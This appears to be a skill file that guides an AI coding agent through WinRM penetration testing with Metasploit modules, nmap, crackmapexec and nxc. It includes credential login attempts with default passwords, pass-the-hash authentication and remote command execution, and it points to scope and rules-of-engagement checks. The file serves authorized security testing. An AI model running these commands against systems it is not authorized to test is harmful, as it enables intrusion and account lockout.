metasploit-cursor-harness: Skill for Cursor

WinRM Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).
• Domain targets: load internal-ad-pentest and windows-pentest.
• Brute force may lock accounts. Confirm ROE before spray attacks.

Ports and detection

Port	Service
5985/tcp	WinRM over HTTP (WS-Management)
5986/tcp	WinRM over HTTPS

WinRS (legacy) uses same ports but different protocol stack. WinRM is the modern WS-Management interface; WinRS is the command-line wrapper (winrs /remote:...).

Service fingerprint

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/winrm/winrm_auth_methods",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 5985, "SSL": false}
)

CLI fallback:

nmap -p5985,5986 --script http-winrm-info <target>
Test-WSMan <target>
curl -k https://<target>:5986/wsman
crackmapexec winrm <target> -u user -p pass

Workflow

Task Progress:
- [ ] WinRM availability check
- [ ] Auth method enumeration
- [ ] Credential or hash authentication
- [ ] pywinrm / evil-winrm execution
- [ ] JEA bypass assessment
- [ ] Document findings

Auth method enumeration

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/winrm/winrm_auth_methods",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 5985, "SSL": false}
)

CLI fallback:

nmap -p5985 --script http-winrm-info <target>
Test-WSMan <target>
# Auth paths: Negotiate (NTLM/Kerberos), Basic (5986), CredSSP

Credential validation

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/winrm/winrm_login",
  engagement_id="<id>",
  options={
    "RHOSTS": "<target>",
    "RPORT": 5985,
    "DOMAIN": "<domain>",
    "USERNAME": "administrator",
    "PASSWORD": "password",
    "SSL": false,
    "STOP_ON_SUCCESS": true
  }
)

CLI fallback:

crackmapexec winrm <target> -d <domain> -u user -p pass -x whoami
nxc winrm <target> -u user -H <NT_HASH> -X '$PSVersionTable'